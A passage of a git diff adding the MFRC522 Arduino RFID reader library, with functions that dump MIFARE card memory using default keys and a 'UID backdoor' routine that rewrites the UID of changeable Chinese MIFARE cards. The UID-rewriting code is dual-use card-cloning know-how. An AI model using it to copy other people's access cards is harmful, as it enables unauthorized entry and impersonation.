// 0-3 - active group for access bits + bool firstInGroup; // True for the first block dumped in the group + + // Determine position and size of sector. + if (sector < 32) { // Sectors 0..31 has 4 blocks each + no_of_blocks = 4; + firstBlock = sector * no_of_blocks; + } + else if (sector < 40) { // Sectors 32-39 has 16 blocks each + no_of_blocks = 16; + firstBlock = 128 + (sector - 32) * no_of_blocks; + } + else { // Illegal input, no MIFARE Classic PICC has more than 40 sectors. + return; + } + + // Dump blocks, highest address first. + byte byteCount; + byte buffer[18]; + byte blockAddr; + isSectorTrailer = true; + for (char blockOffset = no_of_blocks - 1; blockOffset >= 0; blockOffset--) { + blockAddr = firstBlock + blockOffset; + // Sector number - only on first line + if (isSectorTrailer) { + Serial.print(sector < 10 ? " " : " "); // Pad with spaces + Serial.print(sector); + Serial.print(" "); + } + else { + Serial.print(" "); + } + // Block number + Serial.print(blockAddr < 10 ? " " : (blockAddr < 100 ? " " : " ")); // Pad with spaces + Serial.print(blockAddr); + Serial.print(" "); + // Establish encrypted communications before reading the first block + if (isSectorTrailer) { + status = PCD_Authenticate(PICC_CMD_MF_AUTH_KEY_A, firstBlock, key, uid); + if (status != STATUS_OK) { + Serial.print("PCD_Authenticate() failed: "); + Serial.println(GetStatusCodeName(status)); + return; + } + } + // Read block + byteCount = sizeof(buffer); + status = MIFARE_Read(blockAddr, buffer, &byteCount); + if (status != STATUS_OK) { + Serial.print("MIFARE_Read() failed: "); + Serial.println(GetStatusCodeName(status)); + continue; + } + // Dump data + for (byte index = 0; index < 16; index++) { + Serial.print(buffer[index] < 0x10 ? " 0" : " "); + Serial.print(buffer[index], HEX); + if ((index % 4) == 3) { + Serial.print(" "); + } + } + // Parse sector trailer data + if (isSectorTrailer) { + c1 = buffer[7] >> 4; + c2 = buffer[8] & 0xF; + c3 = buffer[8] >> 4; + c1_ = buffer[6] & 0xF; + c2_ = buffer[6] >> 4; + c3_ = buffer[7] & 0xF; + invertedError = (c1 != (~c1_ & 0xF)) || (c2 != (~c2_ & 0xF)) || (c3 != (~c3_ & 0xF)); + g[0] = ((c1 & 1) << 2) | ((c2 & 1) << 1) | ((c3 & 1) << 0); + g[1] = ((c1 & 2) << 1) | ((c2 & 2) << 0) | ((c3 & 2) >> 1); + g[2] = ((c1 & 4) << 0) | ((c2 & 4) >> 1) | ((c3 & 4) >> 2); + g[3] = ((c1 & 8) >> 1) | ((c2 & 8) >> 2) | ((c3 & 8) >> 3); + isSectorTrailer = false; + } + + // Which access group is this block in? + if (no_of_blocks == 4) { + group = blockOffset; + firstInGroup = true; + } + else { + group = blockOffset / 5; + firstInGroup = (group == 3) || (group != (blockOffset + 1) / 5); + } + + if (firstInGroup) { + // Print access bits + Serial.print(" [ "); + Serial.print((g[group] >> 2) & 1, DEC); Serial.print(" "); + Serial.print((g[group] >> 1) & 1, DEC); Serial.print(" "); + Serial.print((g[group] >> 0) & 1, DEC); + Serial.print(" ] "); + if (invertedError) { + Serial.print(" Inverted access bits did not match! "); + } + } + + if (group != 3 && (g[group] == 1 || g[group] == 6)) { // Not a sector trailer, a value block + long value = (long(buffer[3])<<24) | (long(buffer[2])<<16) | (long(buffer[1])<<8) | long(buffer[0]); + Serial.print(" Value=0x"); Serial.print(value, HEX); + Serial.print(" Adr=0x"); Serial.print(buffer[12], HEX); + } + Serial.println(); + } + + return; +} // End PICC_DumpMifareClassicSectorToSerial() + +/** + * Dumps memory contents of a MIFARE Ultralight PICC. + */ +void MFRC522::PICC_DumpMifareUltralightToSerial() { + byte status; + byte byteCount; + byte buffer[18]; + byte i; + + Serial.println("Page 0 1 2 3"); + // Try the mpages of the original Ultralight. Ultralight C has more pages. + for (byte page = 0; page < 16; page +=4) { // Read returns data for 4 pages at a time. + // Read pages + byteCount = sizeof(buffer); + status = MIFARE_Read(page, buffer, &byteCount); + if (status != STATUS_OK) { + Serial.print("MIFARE_Read() failed: "); + Serial.println(GetStatusCodeName(status)); + break; + } + // Dump data + for (byte offset = 0; offset < 4; offset++) { + i = page + offset; + Serial.print(i < 10 ? " " : " "); // Pad with spaces + Serial.print(i); + Serial.print(" "); + for (byte index = 0; index < 4; index++) { + i = 4 * offset + index; + Serial.print(buffer[i] < 0x10 ? " 0" : " "); + Serial.print(buffer[i], HEX); + } + Serial.println(); + } + } +} // End PICC_DumpMifareUltralightToSerial() + +/** + * Calculates the bit pattern needed for the specified access bits. In the [C1 C2 C3] tupples C1 is MSB (=4) and C3 is LSB (=1). + */ +void MFRC522::MIFARE_SetAccessBits( byte *accessBitBuffer, ///< Pointer to byte 6, 7 and 8 in the sector trailer. Bytes [0..2] will be set. + byte g0, ///< Access bits [C1 C2 C3] for block 0 (for sectors 0-31) or blocks 0-4 (for sectors 32-39) + byte g1, ///< Access bits C1 C2 C3] for block 1 (for sectors 0-31) or blocks 5-9 (for sectors 32-39) + byte g2, ///< Access bits C1 C2 C3] for block 2 (for sectors 0-31) or blocks 10-14 (for sectors 32-39) + byte g3 ///< Access bits C1 C2 C3] for the sector trailer, block 3 (for sectors 0-31) or block 15 (for sectors 32-39) + ) { + byte c1 = ((g3 & 4) << 1) | ((g2 & 4) << 0) | ((g1 & 4) >> 1) | ((g0 & 4) >> 2); + byte c2 = ((g3 & 2) << 2) | ((g2 & 2) << 1) | ((g1 & 2) << 0) | ((g0 & 2) >> 1); + byte c3 = ((g3 & 1) << 3) | ((g2 & 1) << 2) | ((g1 & 1) << 1) | ((g0 & 1) << 0); + + accessBitBuffer[0] = (~c2 & 0xF) << 4 | (~c1 & 0xF); + accessBitBuffer[1] = c1 << 4 | (~c3 & 0xF); + accessBitBuffer[2] = c3 << 4 | c2; +} // End MIFARE_SetAccessBits() + + +/** + * Performs the "magic sequence" needed to get Chinese UID changeable + * Mifare cards to allow writing to sector 0, where the card UID is stored. + * + * Note that you do not need to have selected the card through REQA or WUPA, + * this sequence works immediately when the card is in the reader vicinity. + * This means you can use this method even on "bricked" cards that your reader does + * not recognise anymore (see MFRC522::MIFARE_UnbrickUidSector). + * + * Of course with non-bricked devices, you're free to select them before calling this function. + */ +bool MFRC522::MIFARE_OpenUidBackdoor(bool logErrors) { + // Magic sequence: + // > 50 00 57 CD (HALT + CRC) + // > 40 (7 bits only) + // < A (4 bits only) + // > 43 + // < A (4 bits only) + // Then you can write to sector 0 without authenticating + + PICC_HaltA(); // 50 00 57 CD + + byte cmd = 0x40; + byte validBits = 7; /* Our command is only 7 bits. After receiving card response, + this will contain amount of valid response bits. */ + byte response[32]; // Card's response is written here + byte received; + byte status = PCD_TransceiveData(&cmd, (byte)1, response, &received, &validBits, (byte)0, false); // 40 + if( status != STATUS_OK ) { + if( logErrors ) { + Serial.println("Card did not respond to 0x40 after HALT command. Are you sure it is a UID changeable one?"); + Serial.print("Error name: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + if ( received != 1 || response[0] != 0x0A ) { + if ( logErrors ) { + Serial.print("Got bad response on backdoor 0x40 command: "); + Serial.print(response[0], HEX); + Serial.print(" ("); + Serial.print(validBits); + Serial.print(" valid bits)\r\n"); + } + return false; + } + + cmd = 0x43; + validBits = 8; + status = PCD_TransceiveData(&cmd, (byte)1, response, &received, &validBits, (byte)0, false); // 43 + if( status != STATUS_OK ) { + if( logErrors ) { + Serial.println("Error in communication at command 0x43, after successfully executing 0x40"); + Serial.print("Error name: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + if ( received != 1 || response[0] != 0x0A ) { + if ( logErrors ) { + Serial.print("Got bad response on backdoor 0x43 command: "); + Serial.print(response[0], HEX); + Serial.print(" ("); + Serial.print(validBits); + Serial.print(" valid bits)\r\n"); + } + return false; + } + + // You can now write to sector 0 without authenticating! + return true; +} // End MIFARE_OpenUidBackdoor() + +/** + * Reads entire block 0, including all manufacturer data, and overwrites + * that block with the new UID, a freshly calculated BCC, and the original + * manufacturer data. + * + * It assumes a default KEY A of 0xFFFFFFFFFFFF. + * Make sure to have selected the card before this function is called. + */ +bool MFRC522::MIFARE_SetUid(byte* newUid, byte uidSize, bool logErrors) { + + // UID + BCC byte can not be larger than 16 together + if ( !newUid || !uidSize || uidSize > 15) { + if ( logErrors ) { + Serial.println("New UID buffer empty, size 0, or size > 15 given"); + } + return false; + } + + // Authenticate for reading + MIFARE_Key key = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + byte status = PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, (byte)1, &key, &uid); + if ( status != STATUS_OK ) { + + if ( status == STATUS_TIMEOUT ) { + // We get a read timeout if no card is selected yet, so let's select one + + // Wake the card up again if sleeping +// byte atqa_answer[2]; +// byte atqa_size = 2; +// PICC_WakeupA(atqa_answer, &atqa_size); + + if ( !PICC_IsNewCardPresent() || !PICC_ReadCardSerial() ) { + Serial.println("No card was previously selected, and none are available. Failed to set UID."); + return false; + } + + status = PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, (byte)1, &key, &uid); + if ( status != STATUS_OK ) { + // We tried, time to give up + if ( logErrors ) { + Serial.println("Failed to authenticate to card for reading, could not set UID: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + } + else { + if ( logErrors ) { + Serial.print("PCD_Authenticate() failed: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + } + + // Read block 0 + byte block0_buffer[18]; + byte byteCount = sizeof(block0_buffer); + status = MIFARE_Read((byte)0, block0_buffer, &byteCount); + if ( status != STATUS_OK ) { + if ( logErrors ) { + Serial.print("MIFARE_Read() failed: "); + Serial.println(GetStatusCodeName(status)); + Serial.println("Are you sure your KEY A for sector 0 is 0xFFFFFFFFFFFF?"); + } + return false; + } + + // Write new UID to the data we just read, and calculate BCC byte + byte bcc = 0; + for ( int i = 0; i < uidSize; i++ ) { + block0_buffer[i] = newUid[i]; + bcc ^= newUid[i]; + } + + // Write BCC byte to buffer + block0_buffer[uidSize] = bcc; + + // Stop encrypted traffic so we can send raw bytes + PCD_StopCrypto1(); + + // Activate UID backdoor + if ( !MIFARE_OpenUidBackdoor(logErrors) ) { + if ( logErrors ) { + Serial.println("Activating the UID backdoor failed."); + } + return false; + } + + // Write modified block 0 back to card + status = MIFARE_Write((byte)0, block0_buffer, (byte)16); + if (status != STATUS_OK) { + if ( logErrors ) { + Serial.print("MIFARE_Write() failed: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + + // Wake the card up again + byte atqa_answer[2]; + byte atqa_size = 2; + PICC_WakeupA(atqa_answer, &atqa_size); + + return true; +} + +/** + * Resets entire sector 0 to zeroes, so the card can be read again by readers. + */ +bool MFRC522::MIFARE_UnbrickUidSector(bool logErrors) { + MIFARE_OpenUidBackdoor( logErrors ); + + byte block0_buffer[] = {0x01, 0x02, 0x03, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + // Write modified block 0 back to card + byte status = MIFARE_Write((byte)0, block0_buffer, (byte)16); + if (status != STATUS_OK) { + if ( logErrors ) { + Serial.print("MIFARE_Write() failed: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } +} + +///////////////////////////////////////////////////////////////////////////////////// +// Convenience functions - does not add extra functionality +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Returns true if a PICC responds to PICC_CMD_REQA. + * Only "new" cards in state IDLE are invited. Sleeping cards in state HALT are ignored. + * + * @return bool + */ +bool MFRC522::PICC_IsNewCardPresent() { + byte bufferATQA[2]; + byte bufferSize = sizeof(bufferATQA); + byte result = PICC_RequestA(bufferATQA, &bufferSize); + return (result == STATUS_OK || result == STATUS_COLLISION); +} // End PICC_IsNewCardPresent() + +/** + * Simple wrapper around PICC_Select. + * Returns true if a UID could be read. + * Remember to call PICC_IsNewCardPresent(), PICC_RequestA() or PICC_WakeupA() first. + * The read UID is available in the class variable uid. + * + * @return bool + */ +bool MFRC522::PICC_ReadCardSerial() { + byte result = PICC_Select(&uid); + return (result == STATUS_OK); +} // End PICC_ReadCardSerial() + diff --git a/libraries/PLabLib2/MFRC522.h b/libraries/PLabLib2/MFRC522.h new file mode 100755 index 0000000..563dc1c --- /dev/null +++ b/libraries/PLabLib2/MFRC522.h @@ -0,0 +1,349 @@ +/** + * MFRC522.h - Library to use ARDUINO RFID MODULE KIT 13.56 MHZ WITH TAGS SPI W AND R BY COOQROBOT. + * Based on code Dr.Leong ( WWW.B2CQSHOP.COM ) + * Created by Miguel Balboa (circuitito.com), Jan, 2012. + * Rewritten by Søren Thing Andersen (access.thing.dk), fall of 2013 (Translation to English, refactored, comments, anti collision, cascade levels.) + * Extended by Tom Clement with functionality to write to sector 0 of UID changeable Mifare cards. + * Released into the public domain. + * + * Please read this file for an overview and then MFRC522.cpp for comments on the specific functions. + * Search for "mf-rc522" on ebay.com to purchase the MF-RC522 board. + * + * There are three hardware components involved: + * 1) The micro controller: An Arduino + * 2) The PCD (short for Proximity Coupling Device): NXP MFRC522 Contactless Reader IC + * 3) The PICC (short for Proximity Integrated Circuit Card): A card or tag using the ISO 14443A interface, eg Mifare or NTAG203. + * + * The microcontroller and card reader uses SPI for communication. + * The protocol is described in the MFRC522 datasheet: http://www.nxp.com/documents/data_sheet/MFRC522.pdf + * + * The card reader and the tags communicate using a 13.56MHz electromagnetic field. + * The protocol is defined in ISO/IEC 14443-3 Identification cards -- Contactless integrated circuit cards -- Proximity cards -- Part 3: Initialization and anticollision". + * A free version of the final draft can be found at http://wg8.de/wg8n1496_17n3613_Ballot_FCD14443-3.pdf + * Details are found in chapter 6, Type A – Initialization and anticollision. + * + * If only the PICC UID is wanted, the above documents has all the needed information. + * To read and write from MIFARE PICCs, the MIFARE protocol is used after the PICC has been selected. + * The MIFARE Classic chips and protocol is described in the datasheets: + * 1K: http://www.nxp.com/documents/data_sheet/MF1S503x.pdf + * 4K: http://www.nxp.com/documents/data_sheet/MF1S703x.pdf + * Mini: http://www.idcardmarket.com/download/mifare_S20_datasheet.pdf + * The MIFARE Ultralight chip and protocol is described in the datasheets: + * Ultralight: http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf + * Ultralight C: http://www.nxp.com/documents/short_data_sheet/MF0ICU2_SDS.pdf + * + * MIFARE Classic 1K (MF1S503x): + * Has 16 sectors * 4 blocks/sector * 16 bytes/block = 1024 bytes. + * The blocks are numbered 0-63. + * Block 3 in each sector is the Sector Trailer. See http://www.nxp.com/documents/data_sheet/MF1S503x.pdf sections 8.6 and 8.7: + * Bytes 0-5: Key A + * Bytes 6-8: Access Bits + * Bytes 9: User data + * Bytes 10-15: Key B (or user data) + * Block 0 is read only manufacturer data. + * To access a block, an authentication using a key from the block's sector must be performed first. + * Example: To read from block 10, first authenticate using a key from sector 3 (blocks 8-11). + * All keys are set to FFFFFFFFFFFFh at chip delivery. + * Warning: Please read section 8.7 "Memory Access". It includes this text: if the PICC detects a format violation the whole sector is irreversibly blocked. + * To use a block in "value block" mode (for Increment/Decrement operations) you need to change the sector trailer. Use PICC_SetAccessBits() to calculate the bit patterns. + * MIFARE Classic 4K (MF1S703x): + * Has (32 sectors * 4 blocks/sector + 8 sectors * 16 blocks/sector) * 16 bytes/block = 4096 bytes. + * The blocks are numbered 0-255. + * The last block in each sector is the Sector Trailer like above. + * MIFARE Classic Mini (MF1 IC S20): + * Has 5 sectors * 4 blocks/sector * 16 bytes/block = 320 bytes. + * The blocks are numbered 0-19. + * The last block in each sector is the Sector Trailer like above. + * + * MIFARE Ultralight (MF0ICU1): + * Has 16 pages of 4 bytes = 64 bytes. + * Pages 0 + 1 is used for the 7-byte UID. + * Page 2 contains the last chech digit for the UID, one byte manufacturer internal data, and the lock bytes (see http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf section 8.5.2) + * Page 3 is OTP, One Time Programmable bits. Once set to 1 they cannot revert to 0. + * Pages 4-15 are read/write unless blocked by the lock bytes in page 2. + * MIFARE Ultralight C (MF0ICU2): + * Has 48 pages of 4 bytes = 64 bytes. + * Pages 0 + 1 is used for the 7-byte UID. + * Page 2 contains the last chech digit for the UID, one byte manufacturer internal data, and the lock bytes (see http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf section 8.5.2) + * Page 3 is OTP, One Time Programmable bits. Once set to 1 they cannot revert to 0. + * Pages 4-39 are read/write unless blocked by the lock bytes in page 2. + * Page 40 Lock bytes + * Page 41 16 bit one way counter + * Pages 42-43 Authentication configuration + * Pages 44-47 Authentication key + */ +#ifndef MFRC522_h +#define MFRC522_h + +#include +#include + +class MFRC522 { +public: + // MFRC522 registers. Described in chapter 9 of the datasheet. + // When using SPI all addresses are shifted one bit left in the "SPI address byte" (section 8.1.2.3) + enum PCD_Register { + // Page 0: Command and status + // 0x00 // reserved for future use + CommandReg = 0x01 << 1, // starts and stops command execution + ComIEnReg = 0x02 << 1, // enable and disable interrupt request control bits + DivIEnReg = 0x03 << 1, // enable and disable interrupt request control bits + ComIrqReg = 0x04 << 1, // interrupt request bits + DivIrqReg = 0x05 << 1, // interrupt request bits + ErrorReg = 0x06 << 1, // error bits showing the error status of the last command executed + Status1Reg = 0x07 << 1, // communication status bits + Status2Reg = 0x08 << 1, // receiver and transmitter status bits + FIFODataReg = 0x09 << 1, // input and output of 64 byte FIFO buffer + FIFOLevelReg = 0x0A << 1, // number of bytes stored in the FIFO buffer + WaterLevelReg = 0x0B << 1, // level for FIFO underflow and overflow warning + ControlReg = 0x0C << 1, // miscellaneous control registers + BitFramingReg = 0x0D << 1, // adjustments for bit-oriented frames + CollReg = 0x0E << 1, // bit position of the first bit-collision detected on the RF interface + // 0x0F // reserved for future use + + // Page 1: Command + // 0x10 // reserved for future use + ModeReg = 0x11 << 1, // defines general modes for transmitting and receiving + TxModeReg = 0x12 << 1, // defines transmission data rate and framing + RxModeReg = 0x13 << 1, // defines reception data rate and framing + TxControlReg = 0x14 << 1, // controls the logical behavior of the antenna driver pins TX1 and TX2 + TxASKReg = 0x15 << 1, // controls the setting of the transmission modulation + TxSelReg = 0x16 << 1, // selects the internal sources for the antenna driver + RxSelReg = 0x17 << 1, // selects internal receiver settings + RxThresholdReg = 0x18 << 1, // selects thresholds for the bit decoder + DemodReg = 0x19 << 1, // defines demodulator settings + // 0x1A // reserved for future use + // 0x1B // reserved for future use + MfTxReg = 0x1C << 1, // controls some MIFARE communication transmit parameters + MfRxReg = 0x1D << 1, // controls some MIFARE communication receive parameters + // 0x1E // reserved for future use + SerialSpeedReg = 0x1F << 1, // selects the speed of the serial UART interface + + // Page 2: Configuration + // 0x20 // reserved for future use + CRCResultRegH = 0x21 << 1, // shows the MSB and LSB values of the CRC calculation + CRCResultRegL = 0x22 << 1, + // 0x23 // reserved for future use + ModWidthReg = 0x24 << 1, // controls the ModWidth setting? + // 0x25 // reserved for future use + RFCfgReg = 0x26 << 1, // configures the receiver gain + GsNReg = 0x27 << 1, // selects the conductance of the antenna driver pins TX1 and TX2 for modulation + CWGsPReg = 0x28 << 1, // defines the conductance of the p-driver output during periods of no modulation + ModGsPReg = 0x29 << 1, // defines the conductance of the p-driver output during periods of modulation + TModeReg = 0x2A << 1, // defines settings for the internal timer + TPrescalerReg = 0x2B << 1, // the lower 8 bits of the TPrescaler value. The 4 high bits are in TModeReg. + TReloadRegH = 0x2C << 1, // defines the 16-bit timer reload value + TReloadRegL = 0x2D << 1, + TCounterValueRegH = 0x2E << 1, // shows the 16-bit timer value + TCounterValueRegL = 0x2F << 1, + + // Page 3: Test Registers + // 0x30 // reserved for future use + TestSel1Reg = 0x31 << 1, // general test signal configuration + TestSel2Reg = 0x32 << 1, // general test signal configuration + TestPinEnReg = 0x33 << 1, // enables pin output driver on pins D1 to D7 + TestPinValueReg = 0x34 << 1, // defines the values for D1 to D7 when it is used as an I/O bus + TestBusReg = 0x35 << 1, // shows the status of the internal test bus + AutoTestReg = 0x36 << 1, // controls the digital self test + VersionReg = 0x37 << 1, // shows the software version + AnalogTestReg = 0x38 << 1, // controls the pins AUX1 and AUX2 + TestDAC1Reg = 0x39 << 1, // defines the test value for TestDAC1 + TestDAC2Reg = 0x3A << 1, // defines the test value for TestDAC2 + TestADCReg = 0x3B << 1 // shows the value of ADC I and Q channels + // 0x3C // reserved for production tests + // 0x3D // reserved for production tests + // 0x3E // reserved for production tests + // 0x3F // reserved for production tests + }; + + // MFRC522 commands. Described in chapter 10 of the datasheet. + enum PCD_Command { + PCD_Idle = 0x00, // no action, cancels current command execution + PCD_Mem = 0x01, // stores 25 bytes into the internal buffer + PCD_GenerateRandomID = 0x02, // generates a 10-byte random ID number + PCD_CalcCRC = 0x03, // activates the CRC coprocessor or performs a self test + PCD_Transmit = 0x04, // transmits data from the FIFO buffer + PCD_NoCmdChange = 0x07, // no command change, can be used to modify the CommandReg register bits without affecting the command, for example, the PowerDown bit + PCD_Receive = 0x08, // activates the receiver circuits + PCD_Transceive = 0x0C, // transmits data from FIFO buffer to antenna and automatically activates the receiver after transmission + PCD_MFAuthent = 0x0E, // performs the MIFARE standard authentication as a reader + PCD_SoftReset = 0x0F // resets the MFRC522 + }; + + // MFRC522 RxGain[2:0] masks, defines the receiver's signal voltage gain factor (on the PCD). + // Described in 9.3.3.6 / table 98 of the datasheet at http://www.nxp.com/documents/data_sheet/MFRC522.pdf + enum PCD_RxGain { + RxGain_18dB = 0x00 << 4, // 000b - 18 dB, minimum + RxGain_23dB = 0x01 << 4, // 001b - 23 dB + RxGain_18dB_2 = 0x02 << 4, // 010b - 18 dB, it seems 010b is a duplicate for 000b + RxGain_23dB_2 = 0x03 << 4, // 011b - 23 dB, it seems 011b is a duplicate for 001b + RxGain_33dB = 0x04 << 4, // 100b - 33 dB, average, and typical default + RxGain_38dB = 0x05 << 4, // 101b - 38 dB + RxGain_43dB = 0x06 << 4, // 110b - 43 dB + RxGain_48dB = 0x07 << 4, // 111b - 48 dB, maximum + RxGain_min = 0x00 << 4, // 000b - 18 dB, minimum, convenience for RxGain_18dB + RxGain_avg = 0x04 << 4, // 100b - 33 dB, average, convenience for RxGain_33dB + RxGain_max = 0x07 << 4 // 111b - 48 dB, maximum, convenience for RxGain_48dB + }; + + // Commands sent to the PICC. + enum PICC_Command { + // The commands used by the PCD to manage communication with several PICCs (ISO 14443-3, Type A, section 6.4) + PICC_CMD_REQA = 0x26, // REQuest command, Type A. Invites PICCs in state IDLE to go to READY and prepare for anticollision or selection. 7 bit frame. + PICC_CMD_WUPA = 0x52, // Wake-UP command, Type A. Invites PICCs in state IDLE and HALT to go to READY(*) and prepare for anticollision or selection. 7 bit frame. + PICC_CMD_CT = 0x88, // Cascade Tag. Not really a command, but used during anti collision. + PICC_CMD_SEL_CL1 = 0x93, // Anti collision/Select, Cascade Level 1 + PICC_CMD_SEL_CL2 = 0x95, // Anti collision/Select, Cascade Level 1 + PICC_CMD_SEL_CL3 = 0x97, // Anti collision/Select, Cascade Level 1 + PICC_CMD_HLTA = 0x50, // HaLT command, Type A. Instructs an ACTIVE PICC to go to state HALT. + // The commands used for MIFARE Classic (from http://www.nxp.com/documents/data_sheet/MF1S503x.pdf, Section 9) + // Use PCD_MFAuthent to authenticate access to a sector, then use these commands to read/write/modify the blocks on the sector. + // The read/write commands can also be used for MIFARE Ultralight. + PICC_CMD_MF_AUTH_KEY_A = 0x60, // Perform authentication with Key A + PICC_CMD_MF_AUTH_KEY_B = 0x61, // Perform authentication with Key B + PICC_CMD_MF_READ = 0x30, // Reads one 16 byte block from the authenticated sector of the PICC. Also used for MIFARE Ultralight. + PICC_CMD_MF_WRITE = 0xA0, // Writes one 16 byte block to the authenticated sector of the PICC. Called "COMPATIBILITY WRITE" for MIFARE Ultralight. + PICC_CMD_MF_DECREMENT = 0xC0, // Decrements the contents of a block and stores the result in the internal data register. + PICC_CMD_MF_INCREMENT = 0xC1, // Increments the contents of a block and stores the result in the internal data register. + PICC_CMD_MF_RESTORE = 0xC2, // Reads the contents of a block into the internal data register. + PICC_CMD_MF_TRANSFER = 0xB0, // Writes the contents of the internal data register to a block. + // The commands used for MIFARE Ultralight (from http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf, Section 8.6) + // The PICC_CMD_MF_READ and PICC_CMD_MF_WRITE can also be used for MIFARE Ultralight. + PICC_CMD_UL_WRITE = 0xA2 // Writes one 4 byte page to the PICC. + }; + + // MIFARE constants that does not fit anywhere else + enum MIFARE_Misc { + MF_ACK = 0xA, // The MIFARE Classic uses a 4 bit ACK/NAK. Any other value than 0xA is NAK. + MF_KEY_SIZE = 6 // A Mifare Crypto1 key is 6 bytes. + }; + + // PICC types we can detect. Remember to update PICC_GetTypeName() if you add more. + enum PICC_Type { + PICC_TYPE_UNKNOWN = 0, + PICC_TYPE_ISO_14443_4 = 1, // PICC compliant with ISO/IEC 14443-4 + PICC_TYPE_ISO_18092 = 2, // PICC compliant with ISO/IEC 18092 (NFC) + PICC_TYPE_MIFARE_MINI = 3, // MIFARE Classic protocol, 320 bytes + PICC_TYPE_MIFARE_1K = 4, // MIFARE Classic protocol, 1KB + PICC_TYPE_MIFARE_4K = 5, // MIFARE Classic protocol, 4KB + PICC_TYPE_MIFARE_UL = 6, // MIFARE Ultralight or Ultralight C + PICC_TYPE_MIFARE_PLUS = 7, // MIFARE Plus + PICC_TYPE_TNP3XXX = 8, // Only mentioned in NXP AN 10833 MIFARE Type Identification Procedure + PICC_TYPE_NOT_COMPLETE = 255 // SAK indicates UID is not complete. + }; + + // Return codes from the functions in this class. Remember to update GetStatusCodeName() if you add more. + enum StatusCode { + STATUS_OK = 1, // Success + STATUS_ERROR = 2, // Error in communication + STATUS_COLLISION = 3, // Collission detected + STATUS_TIMEOUT = 4, // Timeout in communication. + STATUS_NO_ROOM = 5, // A buffer is not big enough. + STATUS_INTERNAL_ERROR = 6, // Internal error in the code. Should not happen ;-) + STATUS_INVALID = 7, // Invalid argument. + STATUS_CRC_WRONG = 8, // The CRC_A does not match + STATUS_MIFARE_NACK = 9 // A MIFARE PICC responded with NAK. + }; + + // A struct used for passing the UID of a PICC. + typedef struct { + byte size; // Number of bytes in the UID. 4, 7 or 10. + byte uidByte[10]; + byte sak; // The SAK (Select acknowledge) byte returned from the PICC after successful selection. + } Uid; + + // A struct used for passing a MIFARE Crypto1 key + typedef struct { + byte keyByte[MF_KEY_SIZE]; + } MIFARE_Key; + + // Member variables + Uid uid; // Used by PICC_ReadCardSerial(). + + // Size of the MFRC522 FIFO + static const byte FIFO_SIZE = 64; // The FIFO is 64 bytes. + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for setting up the Arduino + ///////////////////////////////////////////////////////////////////////////////////// + MFRC522(byte chipSelectPin, byte resetPowerDownPin); + void setSPIConfig(); + + ///////////////////////////////////////////////////////////////////////////////////// + // Basic interface functions for communicating with the MFRC522 + ///////////////////////////////////////////////////////////////////////////////////// + void PCD_WriteRegister(byte reg, byte value); + void PCD_WriteRegister(byte reg, byte count, byte *values); + byte PCD_ReadRegister(byte reg); + void PCD_ReadRegister(byte reg, byte count, byte *values, byte rxAlign = 0); + void setBitMask(unsigned char reg, unsigned char mask); + void PCD_SetRegisterBitMask(byte reg, byte mask); + void PCD_ClearRegisterBitMask(byte reg, byte mask); + byte PCD_CalculateCRC(byte *data, byte length, byte *result); + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for manipulating the MFRC522 + ///////////////////////////////////////////////////////////////////////////////////// + void PCD_Init(); + void PCD_Reset(); + void PCD_AntennaOn(); + void PCD_AntennaOff(); + byte PCD_GetAntennaGain(); + void PCD_SetAntennaGain(byte mask); + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for communicating with PICCs + ///////////////////////////////////////////////////////////////////////////////////// + byte PCD_TransceiveData(byte *sendData, byte sendLen, byte *backData, byte *backLen, byte *validBits = NULL, byte rxAlign = 0, bool checkCRC = false); + byte PCD_CommunicateWithPICC(byte command, byte waitIRq, byte *sendData, byte sendLen, byte *backData = NULL, byte *backLen = NULL, byte *validBits = NULL, byte rxAlign = 0, bool checkCRC = false); + + byte PICC_RequestA(byte *bufferATQA, byte *bufferSize); + byte PICC_WakeupA(byte *bufferATQA, byte *bufferSize); + byte PICC_REQA_or_WUPA(byte command, byte *bufferATQA, byte *bufferSize); + byte PICC_Select(Uid *uid, byte validBits = 0); + byte PICC_HaltA(); + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for communicating with MIFARE PICCs + ///////////////////////////////////////////////////////////////////////////////////// + byte PCD_Authenticate(byte command, byte blockAddr, MIFARE_Key *key, Uid *uid); + void PCD_StopCrypto1(); + byte MIFARE_Read(byte blockAddr, byte *buffer, byte *bufferSize); + byte MIFARE_Write(byte blockAddr, byte *buffer, byte bufferSize); + byte MIFARE_Decrement(byte blockAddr, long delta); + byte MIFARE_Increment(byte blockAddr, long delta); + byte MIFARE_Restore(byte blockAddr); + byte MIFARE_Transfer(byte blockAddr); + byte MIFARE_Ultralight_Write(byte page, byte *buffer, byte bufferSize); + byte MIFARE_GetValue(byte blockAddr, long *value); + byte MIFARE_SetValue(byte blockAddr, long value); + + ///////////////////////////////////////////////////////////////////////////////////// + // Support functions + ///////////////////////////////////////////////////////////////////////////////////// + byte PCD_MIFARE_Transceive( byte *sendData, byte sendLen, bool acceptTimeout = false); + const char *GetStatusCodeName(byte code); + byte PICC_GetType(byte sak); + const char *PICC_GetTypeName(byte type); + void PICC_DumpToSerial(Uid *uid); + void PICC_DumpMifareClassicToSerial(Uid *uid, byte piccType, MIFARE_Key *key); + void PICC_DumpMifareClassicSectorToSerial(Uid *uid, MIFARE_Key *key, byte sector); + void PICC_DumpMifareUltralightToSerial(); + void MIFARE_SetAccessBits(byte *accessBitBuffer, byte g0, byte g1, byte g2, byte g3); + bool MIFARE_OpenUidBackdoor(bool logErrors); + bool MIFARE_SetUid(byte* newUid, byte uidSize, bool 